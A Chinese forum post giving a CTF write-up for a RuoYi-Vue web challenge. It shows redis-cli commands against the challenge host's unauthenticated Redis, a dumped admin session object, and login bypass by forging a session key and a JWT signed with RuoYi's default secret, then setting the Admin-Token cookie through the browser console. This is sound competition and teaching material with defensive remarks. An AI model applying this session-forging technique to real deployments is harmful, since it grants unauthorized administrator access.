首页
社区
课程
招聘
2021KCTF 春季赛 Q3 马后炮
发表于: 2021-5-15 03:27 7361

2021KCTF 春季赛 Q3 马后炮

2021-5-15 03:27
7361

看雪.深信服 2021KCTF 春季赛 第三题 统一门派

题目描述:

一道 Web 题,访问链接: http://121.36.145.157/

利用技术绕过限制,登陆后台获得 flag 的值。

注意:第一次打开时,网站提示“正在加载系统资源,请耐心等待”,时间有些长,估计要2-3分钟,第二次就正常了,请耐心等待。

打开界面可知是采用“若依管理系统”搭建的一个默认网站,查看若依的官方文档可知:

这道题目需要一定的 Java 项目经验,需要分析开源项目代码。

克隆项目代码:

环境部署要求:

项目使用 Maven 项目管理工具,需要安装它并在工程根目录下执行编译、打包命令:

编译器会按子项目依赖关系逐次编译子项目,最后打包生成 ruoyi-admin.jar 后端程序。

打开项目后端 ruoyi-admin 运行 com.ruoyi.RuoYiApplication.java,后端运行成功可以访问 http://localhost:8080 但是不会出现静态页面,可以继续参考下面步骤部署 ruoyi-ui 前端,然后通过前端地址来访问。

项目提供的启动脚本 ry.sh 是 Linux 环境下使用的,在 Windows 系统上,可以执行以下命令启动,忽略 JVM 参数配置:

启动前,需要安装好 MySQL 数据服务及 Redis 服务,分别使用默认 3306/6379 端口。

创建 MySQL 数据库 ry-vue 并导入数据脚本 ry_2021xxxx.sql,quartz.sql,注意数据库名字使用了连字符:

脚本执行有两种方式,一种是使用 source 读入文件,另一种是在命令行中使得管道,将脚本一行行导入执行:

注意修改 ruoyi-admin\target\classes\application-druid.yml 配置文件中的 MySQL 账户及密码,注意,配置在 JAR 打包后修改可能无法生效。因为 Maven 打包时会将配置文件一并打包到 BOOT-INF 内,可以使用 WinRAR 覆盖配置文件。

或者使用 jar 命令解包配置文件,更新后再打包回去:

安装 Nginx 并配置前端静态文件和后端 API 服务,根据 ruoyi-ui 编译设置 prod-api 或 stage-api,另外不要随便设置 NGINX 环境变量:

成功配置后端可以尝试访问:

默认控制台管理用户名和密码 admin/admin123,本地配置登录成功后却出现一个异常,导致 UI 不能进入管理界面:

可以登录试用的站点 http://vue.ruoyi.vip/login 研究接口。

从使用体验来看,这个项目并不人性化,需要相当专业的人员进行配置才能正常运行。Spring Boot 是一款开箱即用框架,提供各种默认配置来简化项目配置,但是到了 Rouyi 却变得相当复杂的配置。

阅读部署文档,发现目标正好开启了 Redis 6379 端口,并且可以未授权访问。大概了解一下若依的登录逻辑可知,它的用户信息是缓存在 redis 中的,并且通过 JWT 进行认证。

自己搭建一个环境登录 admin 账号后通过 Redis 命令 keys * 可查询到一个 login_tokens,目标主机上也有一个:

这个 TokenKey 应该关联存储了用户的信息,尝试使用 get 查询关联的数据,为了方便观察,以下直接展示 JSON 数据重要部分:

以上 JSON 数据对应了一个 LoginUser.java 模型对象。

可以在 ruoyi-common 依赖项目中找到这个常量定义,Redis 保存的这个 Key 字符串就是 TokenKey,它包含:

再根据引用找到 TokenService.java 和 SysLoginService.java 这两个代码文件,它们负责 TokenKey 的读取和生成,包括登录验证。

代码分析:

登陆成功后会在 Redis 里写入包含 UUID 的 TokenKey -> 当前用户信息,鉴权时服务器验证机制从 Authorization 获取 Token,而不是 Admin-Token,取出 JWT Token,然后取出 UUID,然后取出用户信息。

从代码可以看到 LOGIN_USER_KEY 即 login_user_key 会放入 JWT 的 Payload 中传递给客户端,并且它也是 TokenKey 的后缀。

所以只要在本地搭建一个环境,登录成功后,将本地的 TokenKey 通过目标主机后门写入 Redis 数据库,然后中在浏览器中通过脚本修改 Cookie,将本地的 获取到的 Admin-Token 写入。这样就伪造了一个 admin 用户已经登陆的 redis key + 浏览器 cookie。

去官网的演示站里面登录一下,提取 Admin-token 并 Base64 解码 JWT,可以得到以下两组数据:

步骤:

另一个方法是使用 JWT 签名验证算法生成 Token,先随机生成一个 Token 写入后台,然后将生成的 Token 结合源码默认 secret 密钥计算得到一个 JWT 的签名用于进行网站访问,如果 application.yml 配置使用的 secret 是默认值就可以绕过登录了。

生成 Token 后,通过控制台执行脚本修改 cookei,然后再将页面地址修改到登录的首页 http://121.36.145.157/index:

获取首页显示的 CTF flag:2435_ert3_Wee,FLAG提交格式为 flag{***},完成任务。其实出题战队未注意 FLAG 在 Webpack 打包时没有清理,所以通过静态脚本文件也可以找到,真是大意了!

出题战队说明:

这道题并非我刻意制造,若依作为一款使用很广的管理系统,本身的认证逻辑就是这样的,我只是让 Redis 外网可以访问,而且设置了弱口令,其他没做修改,这在实战中还是可能遇到的,其实不只是若依,所有用了 JWT 的系统都可能用的这套逻辑,在实战中可以通过设置比较强的 JWT 秘钥解决这个问题,本题的问题是在于没有修改 JWT 的默认秘钥。我们是通过观察推理的方法解决了这道题,实际上是不严谨的,但是对于比赛时间有限不失为最好的方法。有兴趣的同学可以下载若依的源代码看看,就知道整个事情的来龙去脉了,若依这一套框架体系用到了目前比较主流的开发框架,值得研究。

最后,工具代码展示:

全 Maven 创建模板工程 maven-archetype-quickstart,执行以下命令,从提示列表中选择:

选好原型 Maven 还会询问项目细节,按要求输入项目细节。

完成后,编译运行,参数传入后台 Redis 数据库中已经设置的 UUID:

配置文件 pom.xml 参考:

 
 
 
 
 
 
git clone https://gitee.com/y_project/RuoYi-Vue.git
git clone https://gitee.com/y_project/RuoYi-Vue.git
 
 
set AppName=ruoyi-admin.jar
set AppPath=ruoyi-admin/target/ruoyi-admin.jar
 
set JVM_OPTS="-Dname=$AppName  -Duser.timezone=Asia/Shanghai -Xms512M -Xmx512M -XX:PermSize=256M -XX:MaxPermSize=512M -XX:+HeapDumpOnOutOfMemoryError -XX:+PrintGCDateStamps  -XX:+PrintGCDetails -XX:NewRatio=1 -XX:SurvivorRatio=30 -XX:+UseParallelGC -XX:+UseParallelOldGC"
 
java -jar %JVM_OPTS% %AppPath%
set AppName=ruoyi-admin.jar
set AppPath=ruoyi-admin/target/ruoyi-admin.jar
 
set JVM_OPTS="-Dname=$AppName  -Duser.timezone=Asia/Shanghai -Xms512M -Xmx512M -XX:PermSize=256M -XX:MaxPermSize=512M -XX:+HeapDumpOnOutOfMemoryError -XX:+PrintGCDateStamps  -XX:+PrintGCDetails -XX:NewRatio=1 -XX:SurvivorRatio=30 -XX:+UseParallelGC -XX:+UseParallelOldGC"
 
java -jar %JVM_OPTS% %AppPath%
 
create database `ry-vue`;
create database `ry-vue`;
mysql> source path\to\file_name.sql
mysql> \. path\to\file_name.sql
mysql> source path\to\file_name.sql
mysql> \. path\to\file_name.sql
 
jar -xf ruoyi-admin.jar BOOT-INF\classes\application-druid.yml
jar -uf ruoyi-admin.jar BOOT-INF\classes\application-druid.yml
jar -xf ruoyi-admin.jar BOOT-INF\classes\application-druid.yml
jar -uf ruoyi-admin.jar BOOT-INF\classes\application-druid.yml
location / {
    root   /home/ruoyi/projects/ruoyi-ui;
    try_files $uri $uri/ /index.html;
    index  index.html index.htm;
}
 
location /prod-api/{
    proxy_set_header Host $http_host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header REMOTE-HOST $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://localhost:8080/;
}
location / {
    root   /home/ruoyi/projects/ruoyi-ui;
    try_files $uri $uri/ /index.html;
    index  index.html index.htm;
}
 
location /prod-api/{
    proxy_set_header Host $http_host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header REMOTE-HOST $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://localhost:8080/;
}
>curl http://localhost:8080
{"msg":"请求访问:/,认证失败,无法访问系统资源","code":401}
>curl http://localhost:8080
{"msg":"请求访问:/,认证失败,无法访问系统资源","code":401}
java.lang.NoClassDefFoundError: javax/xml/bind/DatatypeConverter
java.lang.NoClassDefFoundError: javax/xml/bind/DatatypeConverter
 
 
 
$ redis-cli -h 121.36.145.157
121.36.145.157:6379> keys
(error) ERR wrong number of arguments for 'keys' command
121.36.145.157:6379> keys *
1) "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"
121.36.145.157:6379>
$ redis-cli -h 121.36.145.157
121.36.145.157:6379> keys
(error) ERR wrong number of arguments for 'keys' command
121.36.145.157:6379> keys *
1) "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"
121.36.145.157:6379>
# 121.36.145.157:6379> get "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"
{
 
    "password":"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG",
    "permissions":Set["*:*:*"],
    "token":"07aaf192-ca8f-4db7-a6a2-ee81dbf07d58",
    "user":{
        "admin":true,
        "password":"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG",
        "roles":[
            {
            "admin":true,
            "dataScope":"1",
            "deptCheckStrictly":false,
            "flag":false,
            "menuCheckStrictly":false,
            "params":{
                "@type":"java.util.HashMap"
            },
            "roleId":1,
            "roleKey":"admin",
            "roleName":"\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98",
            "roleSort":"1",
            "status":"0"}
        ],
        "sex":"1",
        "status":"0",
        "userId":1,
        "userName":"admin"
    },
    "username":"admin"
}
# 121.36.145.157:6379> get "login_tokens:3109ec3f-6e84-48f5-bc1f-4f351d236333"
{
 
    "password":"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG",
    "permissions":Set["*:*:*"],
    "token":"07aaf192-ca8f-4db7-a6a2-ee81dbf07d58",
    "user":{
        "admin":true,
        "password":"$2a$10$TbIq6QkLbP4MrjPaOJ2Y4.UqYYyChFC0HYrC7etAPI9iL1GOJ6ZLG",
        "roles":[
            {
            "admin":true,
            "dataScope":"1",
            "deptCheckStrictly":false,
            "flag":false,
            "menuCheckStrictly":false,
            "params":{
                "@type":"java.util.HashMap"
            },
            "roleId":1,
            "roleKey":"admin",
            "roleName":"\xe8\xb6\x85\xe7\xba\xa7\xe7\xae\xa1\xe7\x90\x86\xe5\x91\x98",
            "roleSort":"1",
            "status":"0"}
        ],
        "sex":"1",
        "status":"0",
        "userId":1,
        "userName":"admin"
    },
    "username":"admin"
}
 
 
 
public LoginUser getLoginUser(HttpServletRequest request)
{
    // 获取请求携带的令牌
    String token = getToken(request);
    if (StringUtils.isNotEmpty(token))
    {
        Claims claims = parseToken(token);
        // 解析对应的权限以及用户信息
        String uuid = (String) claims.get(Constants.LOGIN_USER_KEY);
        String userKey = getTokenKey(uuid);
        LoginUser user = redisCache.getCacheObject(userKey);
        return user;
    }
    return null;
}
public LoginUser getLoginUser(HttpServletRequest request)
{
    // 获取请求携带的令牌
    String token = getToken(request);
    if (StringUtils.isNotEmpty(token))
    {
        Claims claims = parseToken(token);
        // 解析对应的权限以及用户信息
        String uuid = (String) claims.get(Constants.LOGIN_USER_KEY);
        String userKey = getTokenKey(uuid);
        LoginUser user = redisCache.getCacheObject(userKey);
        return user;
    }
    return null;
}
 
{"alg":"HS512"}
{"login_user_key":"e8b214c6-997a-4769-a5fe-ec45c863203c"}
{"alg":"HS512"}
{"login_user_key":"e8b214c6-997a-4769-a5fe-ec45c863203c"}
# token配置
token:
    # 令牌自定义标识
    header: Authorization
    # 令牌密钥
    secret: abcdefghijklmnopqrstuvwxyz
    # 令牌有效期(默认30分钟)
    expireTime: 30
# token配置
token:
    # 令牌自定义标识
    header: Authorization
    # 令牌密钥
    secret: abcdefghijklmnopqrstuvwxyz
    # 令牌有效期(默认30分钟)
    expireTime: 30
document.cookie = "Admin-Token=eyJh....";
document.cookie = "Admin-Token=eyJh....";

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//